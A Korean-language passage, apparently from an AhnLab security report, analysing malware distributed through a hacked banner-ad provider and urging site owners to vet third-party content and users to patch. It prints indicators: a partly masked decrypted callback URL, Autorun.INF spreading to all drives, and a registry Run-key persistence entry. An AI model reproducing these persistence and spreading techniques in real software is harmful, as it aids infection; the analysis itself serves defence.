이번사례처럼동일하게운영되는사이트는많을것이고배너광고를제공하는사이트에침해사고가발생한다면해당배너광고를사용하는사이트들에게까지동시에영향을미쳐마치다수의사이트들에서동시에침해사고가발생하여악성코드가유포된것처럼여겨질수있는문제이다. 따라서각사이트관리자들은모방송에서유행한유행어처럼 내사이트만아니면돼 가아니라외부에서제공받아사용하는콘텐츠들에대해서도보안측면에서면밀히검토해볼필요가있다. 그리고유포되었던악성코드에감염된 PC의경우, 해당 PC에서보안업데이트만잘되어있었다면감염피해는미연에방지할수있었다. 이는대문을열어놓고방범시스템을설치해서도둑을잡거나막는것이아니라근본적인문제를보안해야한다는의미이다. 즉 PC에서사용하는운영체제나응용프로그램에보안취약성은없는지또보안업데이트는주기적으로적용되어있는지등을점검하는것이필요하다. 암호화된 URL : 00BBEF5C]=00BBF37C,(ASCIIs{{8HSSCDDBR39sD4R 4qDSC9Dov uvs+\v\sm4br 8 ) 복호화된 URL : 00BBEF64 00BBF37C ASCII http://look.mu****.info/luo8212/ rcvchenk.asp 12. Autorun.INF와자신의복사본을모든드라이브에생성하여확산을시도 13. 끝으로자동실행될목적으로레지스트리에자신의값을추가한다. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run SafeDrv= %PROGRAMFILE%\Common Files\SafeDrv.exe 앞에서도언급했지만이번사례는해당사이트들에침해사고가발생하여악성코드를유포했던것이아니라실제로는특정배너광고사이트가침해사고를당했고해당사이트에서제공하는배너광고에악성코드를유포하는악성스크립트가삽입되어있었음을확인할수있었다. 하지만사용자들은자신들이접속한사이트들에서악성코드를유포하는것으로오해를할것이다. AhnLab Online Security 2.0